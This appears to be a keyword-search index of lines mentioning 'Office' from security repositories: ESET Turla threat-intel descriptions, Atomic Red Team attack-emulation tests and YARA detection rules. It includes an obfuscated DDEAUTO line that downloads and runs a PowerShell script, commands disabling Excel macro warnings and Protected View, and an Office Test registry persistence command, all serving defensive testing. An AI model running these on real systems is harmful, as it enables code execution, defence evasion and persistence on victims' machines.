dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O\u2019 Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-lightneuron-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-outlook-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O\u2019 Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-powershell-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
malware-ioc	misp-turla-powershell-event.json	"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.\n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: PaloAlto EncodedCommand March 2017)\n\nAnother example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server. (Citation: Wikipedia Duqu) By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary. (Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)\n\nDetection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).\n\nFlag and analyze commands containing indicators of obfuscation and known suspicious syntax such as uninterpreted escape characters like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line arguments for processes. Deobfuscation tools can be used to detect these indicators in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)\n\nObfuscation used in payloads for Initial Access can be detected at the network. Use network intrusion detection systems and email gateway filtering to identify compressed and encrypted attachments and scripts. Some email attachment detonation systems can open compressed and encrypted attachments. Payloads delivered over an encrypted connection from a website require encrypted network traffic inspection.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network protocol analysis, Process use of network, Binary file metadata, File monitoring, Malware reverse engineering, Process command-line parameters, Environment variable, Process Monitoring, Windows event logs, Network intrusion detection system, Email gateway, SSL/TLS inspection\n\nDefense Bypassed: Host forensic analysis, Signature-based detection, Host intrusion prevention systems, Application whitelisting, Process whitelisting, Log analysis, Whitelisting by file name or path\n\nContributors: Red Canary, Christiaan Beek, @ChristiaanBeek",	© ESET 2014-2018
malware-ioc	misp-turla-powershell-event.json	"https://github.com/itsreallynick/office-crackros"	© ESET 2014-2018
malware-ioc	misp-turla-wateringhole-armenia-event.json	"description": "A 2014 Guardian article described Turla as: 'Dubbed the Turla hackers, initial intelligence had indicated western powers were key targets, but it was later determined embassies for Eastern Bloc nations were of more interest. Embassies in Belgium, Ukraine, China, Jordan, Greece, Kazakhstan, Armenia, Poland, and Germany were all attacked, though researchers from Kaspersky Lab and Symantec could not confirm which countries were the true targets. In one case from May 2012, the office of the prime minister of a former Soviet Union member country was infected, leading to 60 further computers being affected, Symantec researchers said. There were some other victims, including the ministry for health of a Western European country, the ministry for education of a Central American country, a state electricity provider in the Middle East and a medical organisation in the US, according to Symantec. It is believed the group was also responsible for a much - documented 2008 attack on the US Central Command. The attackers - who continue to operate - have ostensibly sought to carry out surveillance on targets and pilfer data, though their use of encryption across their networks has made it difficult to ascertain exactly what the hackers took.Kaspersky Lab, however, picked up a number of the attackers searches through their victims emails, which included terms such as Nato and EU energy dialogue Though attribution is difficult to substantiate, Russia has previously been suspected of carrying out the attacks and Symantecs Gavin O’ Gorman told the Guardian a number of the hackers appeared to be using Russian names and language in their notes for their malicious code. Cyrillic was also seen in use.'",	© ESET 2014-2018
atomic-red-team	Atomic_Friday.md	(index="botsv3" OR index="botsv2") source="WinEventLog:Microsoft-Windows-Sysmon/Operational" schtasks.exe CommandLine!="*\Office Automatic Updates*" CommandLine!="*\Office ClickToRun*" \| stats values(CommandLine) by Computer	MIT License. © 2018 Red Canary
atomic-red-team	Office_Macro_COM.md	# Office Macro - COM	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- T1098.003 Add Office 365 Global Administrator Role CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- T1137 Office Application Startup CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- T1137.001 Office Template Macros CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- T1137.002 Office Test	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #1: Office Apllication Startup Test Persistence [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #18: Disable Microsoft Office Security Features [windows]	MIT License. © 2018 Red Canary
atomic-red-team	index.md	- Atomic Test #5: Office launching .bat file from AppData [windows]	MIT License. © 2018 Red Canary
atomic-red-team	linux-index.md	- T1098.003 Add Office 365 Global Administrator Role CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	linux-index.md	- T1137 Office Application Startup CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	linux-index.md	- T1137.001 Office Template Macros CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	linux-index.md	- T1137.002 Office Test CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #18: Disable Microsoft Office Security Features [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- T1137 Office Application Startup CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- T1137.001 Office Template Macros CONTRIBUTE A TEST	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- T1137.002 Office Test	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #1: Office Apllication Startup Test Persistence [windows]	MIT License. © 2018 Red Canary
atomic-red-team	windows-index.md	- Atomic Test #5: Office launching .bat file from AppData [windows]	MIT License. © 2018 Red Canary
atomic-red-team	linux-matrix.md	| Compromise Software Dependencies and Development Tools CONTRIBUTE A TEST | Cron | Add Office 365 Global Administrator Role CONTRIBUTE A TEST | At (Linux) | Binary Padding | Bash History | Cloud Account CONTRIBUTE A TEST | Internal Spearphishing CONTRIBUTE A TEST | Archive via Custom Method CONTRIBUTE A TEST | Exfiltration Over Alternative Protocol | Bidirectional Communication CONTRIBUTE A TEST | Application or System Exploitation CONTRIBUTE A TEST |	MIT License. © 2018 Red Canary
atomic-red-team	linux-matrix.md	| | | Office Application Startup CONTRIBUTE A TEST | | Hijack Execution Flow CONTRIBUTE A TEST | Web Portal Capture CONTRIBUTE A TEST | User Activity Based Checks CONTRIBUTE A TEST | | Web Portal Capture CONTRIBUTE A TEST | | One-Way Communication CONTRIBUTE A TEST | |	MIT License. © 2018 Red Canary
atomic-red-team	linux-matrix.md	| | | Office Template Macros CONTRIBUTE A TEST | | Impair Command History Logging | | Virtualization/Sandbox Evasion CONTRIBUTE A TEST | | | | Port Knocking CONTRIBUTE A TEST | |	MIT License. © 2018 Red Canary
atomic-red-team	linux-matrix.md	| | | Office Test CONTRIBUTE A TEST | | Impair Defenses CONTRIBUTE A TEST | | | | | | Protocol Impersonation CONTRIBUTE A TEST | |	MIT License. © 2018 Red Canary
atomic-red-team	matrix.md	| Compromise Software Supply Chain CONTRIBUTE A TEST | Command and Scripting Interpreter CONTRIBUTE A TEST | Add Office 365 Global Administrator Role CONTRIBUTE A TEST | Accessibility Features | Asynchronous Procedure Call | Bash History | Cloud Account CONTRIBUTE A TEST | Exploitation of Remote Services CONTRIBUTE A TEST | Archive via Library CONTRIBUTE A TEST | Exfiltration Over Asymmetric Encrypted Non-C2 Protocol CONTRIBUTE A TEST | Commonly Used Port CONTRIBUTE A TEST | Data Destruction |	MIT License. © 2018 Red Canary
atomic-red-team	matrix.md	| | | Office Application Startup CONTRIBUTE A TEST | Port Monitors CONTRIBUTE A TEST | Impair Command History Logging | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	matrix.md	| | | Office Template Macros CONTRIBUTE A TEST | Portable Executable Injection CONTRIBUTE A TEST | Impair Defenses CONTRIBUTE A TEST | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	matrix.md	| | | Office Test | PowerShell Profile | Indicator Blocking | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	windows-matrix.md	| | | Office Application Startup CONTRIBUTE A TEST | Path Interception by Search Order Hijacking CONTRIBUTE A TEST | Hidden Window | Unsecured Credentials CONTRIBUTE A TEST | | | | | Web Protocols | |	MIT License. © 2018 Red Canary
atomic-red-team	windows-matrix.md	| | | Office Template Macros CONTRIBUTE A TEST | Path Interception by Unquoted Path | Hide Artifacts | Web Portal Capture CONTRIBUTE A TEST | | | | | Web Service CONTRIBUTE A TEST | |	MIT License. © 2018 Red Canary
atomic-red-team	windows-matrix.md	| | | Office Test | Port Monitors CONTRIBUTE A TEST | Hijack Execution Flow CONTRIBUTE A TEST | | | | | | | |	MIT License. © 2018 Red Canary
atomic-red-team	T1021.003.md	Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.</blockquote>	MIT License. © 2018 Red Canary
atomic-red-team	T1036.003.md	download and execute a file masquerading as images or Office files. Upon execution 3 calc instances and 3 vbs windows will be launched.	MIT License. © 2018 Red Canary
atomic-red-team	T1055.md	Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office	MIT License. © 2018 Red Canary
atomic-red-team	T1055.md	##### Description: The 64-bit version of Microsoft Office must be installed	MIT License. © 2018 Red Canary
atomic-red-team	T1059.005.md	Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of JavaScript/JScript on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)	MIT License. © 2018 Red Canary
atomic-red-team	T1059.005.md	A note regarding this module, due to the way that this module utilizes “ScriptControl” a 64bit version of Microsoft Office is required.	MIT License. © 2018 Red Canary
atomic-red-team	T1059.005.md	##### Description: The 64-bit version of Microsoft Office must be installed	MIT License. © 2018 Red Canary
atomic-red-team	T1105.md	svchost.exe writing a non-Microsoft Office file to a file with a UNC path.	MIT License. © 2018 Red Canary
atomic-red-team	T1110.001.md	In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)	MIT License. © 2018 Red Canary
atomic-red-team	T1110.003.md	In addition to management services, adversaries may “target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,” as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)	MIT License. © 2018 Red Canary
atomic-red-team	T1134.004.md	Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of PowerShell/Rundll32 to be explorer.exe rather than an Office document delivered as part of Spearphishing Attachment.(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via Visual Basic within a malicious Office document or any code that can perform Native API.(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	# T1137.002 - Office Test	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	<blockquote>Adversaries may abuse the Microsoft Office “Office Test” Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	There exist user and global Registry keys for the Office Test feature:	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	* HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	* HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.</blockquote>	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	- Atomic Test #1 - Office Apllication Startup Test Persistence	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	## Atomic Test #1 - Office Apllication Startup Test Persistence	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	reg add “HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf” /t REG_SZ /d “#{thing_to_execute}”	MIT License. © 2018 Red Canary
atomic-red-team	T1137.002.md	reg delete “HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf”	MIT License. © 2018 Red Canary
atomic-red-team	T1204.002.md	- Atomic Test #5 - Office launching .bat file from AppData	MIT License. © 2018 Red Canary
atomic-red-team	T1204.002.md	## Atomic Test #5 - Office launching .bat file from AppData	MIT License. © 2018 Red Canary
atomic-red-team	T1204.002.md	Microsoft Office creating then launching a .bat script from an AppData directory. The .bat file launches calc.exe when opened.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.md	Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.	MIT License. © 2018 Red Canary
atomic-red-team	T1218.md	| microsoft_wordpath | path to office folder | path | C:\Program Files\Microsoft Office\Office16|	MIT License. © 2018 Red Canary
atomic-red-team	T1559.002.md	Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by Component Object Model, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)	MIT License. © 2018 Red Canary
atomic-red-team	T1559.002.md	Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via Phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a Command and Scripting Interpreter.</blockquote>	MIT License. © 2018 Red Canary
atomic-red-team	T1559.002.md	10. DDEAUTO “C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\v1.0\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString(‘http:///download.ps1'); # " "Microsoft Document Security Add-On"	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	- Atomic Test #18 - Disable Microsoft Office Security Features	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	## Atomic Test #18 - Disable Microsoft Office Security Features	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-Item -Path “HKCU:\Software\Microsoft\Office\16.0\Excel”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-Item -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-Item -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-ItemProperty -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security” -Name “VBAWarnings” -Value “1” -PropertyType “Dword”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-ItemProperty -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView” -Name “DisableInternetFilesInPV” -Value “1” -PropertyType “Dword”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-ItemProperty -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView” -Name “DisableUnsafeLocationsInPV” -Value “1” -PropertyType “Dword”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	New-ItemProperty -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView” -Name “DisableAttachementsInPV” -Value “1” -PropertyType “Dword”	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	Remove-ItemProperty -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security” -Name “VBAWarnings” -ErrorAction Ignore | Out-Null	MIT License. © 2018 Red Canary
atomic-red-team	T1562.001.md	Remove-Item -Path “HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView” -ErrorAction Ignore	MIT License. © 2018 Red Canary
atomic-red-team	T1564.md	within the office document itself. An example of this technique can be seen in sample	MIT License. © 2018 Red Canary
atomic-red-team	T1566.001.md	There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.</blockquote>	MIT License. © 2018 Red Canary
signature-base	apt_apt30_backspace.yar	$s19 = “2003 Microsoft Office system” fullword wide	CC BY-NC 4.0
signature-base	apt_apt30_backspace.yar	$s2 = “Microsoft Office Word Plugin Scan” fullword wide	CC BY-NC 4.0
signature-base	apt_apt30_backspace.yar	$s6 = “2003 Microsoft Office system” fullword wide	CC BY-NC 4.0
signature-base	apt_magichound.yar	description = “Detects malicious macro / powershell in Office document”	CC BY-NC 4.0
signature-base	apt_muddywater.yar	$s3 = “*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 O” wide	CC BY-NC 4.0
signature-base	apt_sednit_delphidownloader.yar	$ = “\Interface\Office\{31E12FE8-937F-1E32-871D-B1C9AOEF4D4}\” fullword ascii	CC BY-NC 4.0
signature-base	apt_unit78020_malware.yar	$a4 = “\Office Start.lnk” fullword wide	CC BY-NC 4.0
signature-base	apt_volatile_cedar.yar	$s17 = “Office Outlook HTTP” fullword ascii	CC BY-NC 4.0
signature-base	apt_winnti_burning_umbrella.yar	$s3 = “Microsoft Office Word” fullword ascii	CC BY-NC 4.0
signature-base	crime_cobaltgang.yar	$x9 = “lnkName=’office 365’; “ fullword ascii	CC BY-NC 4.0
signature-base	crime_ole_loadswf_cve_2018_4878.yar	mitigation0 = “Implement Protected View for Office documents”	CC BY-NC 4.0
signature-base	crime_ole_loadswf_cve_2018_4878.yar	weaponization = “Embedded in Microsoft Office first payloads”	CC BY-NC 4.0
signature-base	exploit_cve_2017_11882.yar	reference = “https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about”	CC BY-NC 4.0
signature-base	exploit_cve_2018_16858.yar	description = “RCE in Libre Office with crafted ODT file (CVE-2018-16858)”	CC BY-NC 4.0
signature-base	exploit_cve_2018_16858.yar	and $tag in (0..0100) // <office:doc	CC BY-NC 4.0
signature-base	general_officemacros.yar	description = “Detects an Microsoft Office file that contains the AutoOpen Macro function”	CC BY-NC 4.0
signature-base	general_officemacros.yar	description = “Detects an Microsoft Office saved as a MHTML file (false positives are possible but rare; many matches on CVE-2012-0158)”	CC BY-NC 4.0
signature-base	general_officemacros.yar	$x2 = “0M8R4KGxGuE” ascii // Base64 encoded office header D0CF11E0A1B11AE1..	CC BY-NC 4.0
signature-base	generic_anomalies.yar	description = “Detects an Office document that was created with a pirated version of MS Office 2007”	CC BY-NC 4.0
signature-base	generic_anomalies.yar	$fp2 = “Office Feature Updates Logon” wide	CC BY-NC 4.0
signature-base	gen_dde_in_office_docs.yar	// YARA rules Office DDE	CC BY-NC 4.0
signature-base	gen_dde_in_office_docs.yar	description = “Detects DDE in MS Office documents”	CC BY-NC 4.0
signature-base	gen_dde_in_office_docs.yar	reference = “https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/”	CC BY-NC 4.0
signature-base	gen_excel_xll_addin_suspicious.yar	reference2=”https://labs.f-secure.com/archive/add-in-opportunities-for-office-persistence/”	CC BY-NC 4.0
signature-base	gen_sign_anomalies.yar	description = “Detects a suspicious unsigned office software protection platform service binary”	CC BY-NC 4.0
signature-base	gen_sign_anomalies.yar	/* FileDescription Microsoft Office Software Protection Platform Service */	CC BY-NC 4.0
signature-base	gen_susp_cmd_var_expansion.yar	description = “Detects Office droppers that include a variable expansion string”	CC BY-NC 4.0
signature-base	gen_susp_office_dropper.yar	description = “Detects Office droppers that include a notice to enable active content”	CC BY-NC 4.0
signature-base	gen_susp_office_dropper.yar	description = “Detects suspicious string that asks to enable active content in Office Doc”	CC BY-NC 4.0
signature-base	gen_susp_office_dropper.yar	$a3 = “Microsoft Office Word” fullword ascii	CC BY-NC 4.0
signature-base	yara_mixed_ext_vars.yar	// XML Office documents	CC BY-NC 4.0

MIT License. Copyright (c) 2020 Strontic.